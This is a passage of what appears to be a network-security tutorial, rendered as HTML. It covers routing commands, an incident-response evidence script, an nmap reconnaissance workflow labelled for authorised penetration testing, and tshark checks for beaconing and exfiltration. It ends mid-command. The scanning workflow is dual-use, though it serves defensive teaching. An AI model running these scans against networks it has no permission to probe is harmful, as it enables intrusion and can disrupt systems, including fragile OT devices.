nslookup &lt;span class="nt"&gt;-type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;MX example.com      &lt;span class="c"&gt;# MX records&lt;/span&gt;
nslookup &lt;span class="nt"&gt;-type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;any example.com     &lt;span class="c"&gt;# All types (Windows compatible)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.3 route — Routing Table Management
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View routing table:&lt;/span&gt;
route &lt;span class="nt"&gt;-n&lt;/span&gt;                            &lt;span class="c"&gt;# Linux (legacy, numeric)&lt;/span&gt;
ip route show                       &lt;span class="c"&gt;# Linux (modern)&lt;/span&gt;
netstat &lt;span class="nt"&gt;-rn&lt;/span&gt;                         &lt;span class="c"&gt;# Cross-platform&lt;/span&gt;
route print                         &lt;span class="c"&gt;# Windows&lt;/span&gt;

&lt;span class="c"&gt;# Security implications of routing table:&lt;/span&gt;
ip route show
&lt;span class="c"&gt;# default via 192.168.1.1 dev eth0  ← Default gateway — check this is expected&lt;/span&gt;
&lt;span class="c"&gt;# 10.0.0.0/8 via 10.10.0.1         ← Route to internal network (VPN route)&lt;/span&gt;
&lt;span class="c"&gt;# 192.168.2.0/24 dev eth1           ← Directly connected network&lt;/span&gt;

&lt;span class="c"&gt;# Check for suspicious routes:&lt;/span&gt;
ip route show | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^default&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;^192.168&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;^10&lt;/span&gt;&lt;span class="se"&gt;\.\|&lt;/span&gt;&lt;span class="s2"&gt;^172&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="c"&gt;# Unexpected routes to external IPs = possible MITM or routing attack&lt;/span&gt;

&lt;span class="c"&gt;# Add/remove routes:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip route add 10.20.0.0/24 via 192.168.1.254  &lt;span class="c"&gt;# Add route&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip route del 10.20.0.0/24                      &lt;span class="c"&gt;# Remove route&lt;/span&gt;

&lt;span class="c"&gt;# Windows:&lt;/span&gt;
route add 10.20.0.0 mask 255.255.255.0 192.168.1.254  &lt;span class="c"&gt;# Add route&lt;/span&gt;
route delete 10.20.0.0                                  &lt;span class="c"&gt;# Remove route&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. Tool Integration — Building Investigation Workflows
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 Incident Response Workflow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Comprehensive network evidence collection for incident response&lt;/span&gt;

&lt;span class="nv"&gt;TIMESTAMP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d_%H%M%S&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;EVIDENCE_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/tmp/ir_evidence_&lt;/span&gt;&lt;span class="nv"&gt;$TIMESTAMP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Collecting network evidence to &lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# 1. Current connections:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Collecting connection state ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/connections_tcp.txt"&lt;/span&gt;
ss &lt;span class="nt"&gt;-unp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/connections_udp.txt"&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/listening_services.txt"&lt;/span&gt;

&lt;span class="c"&gt;# 2. Network configuration:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Collecting interface config ==="&lt;/span&gt;
ip addr show &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/interfaces.txt"&lt;/span&gt;
ip route show &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/routing.txt"&lt;/span&gt;
ip neigh show &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/arp_cache.txt"&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/resolv.conf &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/dns_config.txt"&lt;/span&gt;

&lt;span class="c"&gt;# 3. Active processes with network connections:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Correlating processes to connections ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;1 &amp;amp;&amp;amp; /ESTABLISHED/{print $5, $6}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/established_with_process.txt"&lt;/span&gt;

&lt;span class="c"&gt;# 4. Start packet capture:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Starting packet capture (60 seconds) ==="&lt;/span&gt;
&lt;span class="nb"&gt;timeout &lt;/span&gt;60 tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; any &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/traffic.pcap"&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; 0 2&amp;gt;/dev/null &amp;amp;
&lt;span class="nv"&gt;TCPDUMP_PID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$!&lt;/span&gt;

&lt;span class="c"&gt;# 5. DNS cache (if applicable):&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Collecting DNS cache ==="&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;command&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; resolvectl &amp;amp;&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;resolvectl statistics &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/dns_stats.txt"&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# 6. Check for suspicious listening ports:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Checking for unexpected listeners ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;1 {print $4, $6}'&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;addr proc&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$addr&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f2&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="c"&gt;# Flag non-standard ports that are listening&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="nt"&gt;-gt&lt;/span&gt; 1024 &lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="nt"&gt;-ne&lt;/span&gt; 3306 &lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="nt"&gt;-ne&lt;/span&gt; 5432 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Non-standard listener: &lt;/span&gt;&lt;span class="nv"&gt;$addr&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="nv"&gt;$proc&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/suspicious_listeners.txt"&lt;/span&gt;
    &lt;span class="k"&gt;fi
done

&lt;/span&gt;&lt;span class="nb"&gt;wait&lt;/span&gt; &lt;span class="nv"&gt;$TCPDUMP_PID&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Evidence collection complete: &lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 Network Reconnaissance Workflow (Penetration Testing)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Structured network reconnaissance for authorised penetration testing&lt;/span&gt;

&lt;span class="nv"&gt;TARGET_NETWORK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="s2"&gt;"192.168.1.0/24"&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
&lt;span class="nv"&gt;OUTPUT_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"./recon_&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Phase 1: Host Discovery ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET_NETWORK&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-oG&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase1_hosts.gnmap"&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="nv"&gt;LIVE_HOSTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Status: Up"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase1_hosts.gnmap"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/live_hosts.txt"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Found &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/live_hosts.txt"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; live hosts"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Phase 2: Port Scan ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--top-ports&lt;/span&gt; 1000 &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-iL&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/live_hosts.txt"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-oA&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase2_ports"&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Port scan complete"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Phase 3: Service Detection ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-iL&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/live_hosts.txt"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-oA&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase3_services"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Phase 4: Quick Vulnerability Check ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; &lt;span class="s2"&gt;"vuln and not intrusive"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-iL&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/live_hosts.txt"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-oA&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase4_vulns"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Summary ==="&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Live hosts: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/live_hosts.txt"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Hosts with web services:"&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"80/open&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;443/open&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;8080/open"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase2_ports.gnmap"&lt;/span&gt; | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Hosts with SMB:"&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"445/open"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase2_ports.gnmap"&lt;/span&gt; | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Hosts with RDP:"&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"3389/open"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase2_ports.gnmap"&lt;/span&gt; | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Results saved to &lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.3 Traffic Analysis Workflow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Automated traffic analysis for SOC/threat hunting:&lt;/span&gt;

&lt;span class="c"&gt;# Capture traffic:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/analysis.pcap &lt;span class="nt"&gt;-s&lt;/span&gt; 0 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s1"&gt;'not (host 192.168.1.1 and port 22)'&lt;/span&gt; &amp;amp;  &lt;span class="c"&gt;# Exclude your SSH session&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;300    &lt;span class="c"&gt;# Capture 5 minutes&lt;/span&gt;
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

&lt;span class="c"&gt;# Analysis pipeline:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/analysis.pcap &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; conv,tcp | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;   &lt;span class="c"&gt;# Top TCP conversations&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/analysis.pcap &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; io,phs                 &lt;span class="c"&gt;# Protocol hierarchy&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/analysis.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"dns.flags.response == 0"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; dns.qry.name | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;  &lt;span class="c"&gt;# Top DNS queries&lt;/span&gt;

&lt;span class="c"&gt;# Find potential beaconing (regular-interval connections):&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/analysis.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; frame.time_epoch &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.dstport &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"tcp.flags.syn == 1 and tcp.flags.ack == 0"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2":"$3}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="c"&gt;# High count to same IP:port = possible beacon&lt;/span&gt;

&lt;span class="c"&gt;# Find large data transfers:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/analysis.pcap &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; endpoints,ip | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;4 {print $3, $1}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="c"&gt;# Large bytes_sent from internal IP to external = possible exfiltration&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Network Analysis in OT/ICS Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 Passive vs Active Analysis in OT
&lt;/h3&gt;

&lt;p&gt;The cardinal rule of network analysis in OT environments: &lt;strong&gt;passive first, active only with explicit approval&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Passive Analysis Tools (safe for OT):
  Wireshark/tcpdump: listen-only, no traffic injection
  - Connect via SPAN/mirror port on managed switch
  - Use network TAP (hardware device) for full-duplex capture
  - Analyse traffic generated by existing devices — no new traffic created

  Netstat/ss: local host analysis
  - Run on engineering workstations, HMI servers
  - No network traffic generated — purely local

  ipconfig/ifconfig/ip: interface configuration
  - Local host only — no network impact

Active Analysis Tools (require approval in OT):
  Ping: low risk (usually), but must be approved
  - Some legacy RTUs crash on unexpected ICMP
  - Always check with vendor before pinging OT devices

  Traceroute: moderate risk
  - Sends TTL-limited packets — some OT devices respond unexpectedly
  - Useful for mapping, but schedule during maintenance if possible

  Nmap: HIGH risk — must have written approval and operational window
  - PLCs can crash or restart on unexpected port scans
  - Safety systems: NEVER scan without vendor written approval
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 Industrial Protocol Analysis in Wireshark
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Wireshark dissectors for OT protocols:&lt;/span&gt;

&lt;span class="c"&gt;# Modbus TCP (port 502):&lt;/span&gt;
&lt;span class="c"&gt;# Wireshark automatically dissects Modbus if capture contains port 502 traffic&lt;/span&gt;
&lt;span class="c"&gt;# Useful display filters:&lt;/span&gt;
&lt;span class="c"&gt;# modbus.func_code == 3    (Read Holding Registers — most common)&lt;/span&gt;
&lt;span class="c"&gt;# modbus.func_code == 16   (Preset Multiple Registers — write commands)&lt;/span&gt;
&lt;span class="c"&gt;# modbus.func_code == 1    (Read Coil Status)&lt;/span&gt;
&lt;span class="c"&gt;# modbus.exception_code    (Modbus error responses)&lt;/span&gt;

&lt;span class="c"&gt;# Security analysis of Modbus:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; ot_capture.pcap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"modbus.func_code &amp;gt;= 5"&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;  &lt;span class="c"&gt;# Write commands only&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; frame.time &lt;span class="se"&gt;\&lt;/span&gt;
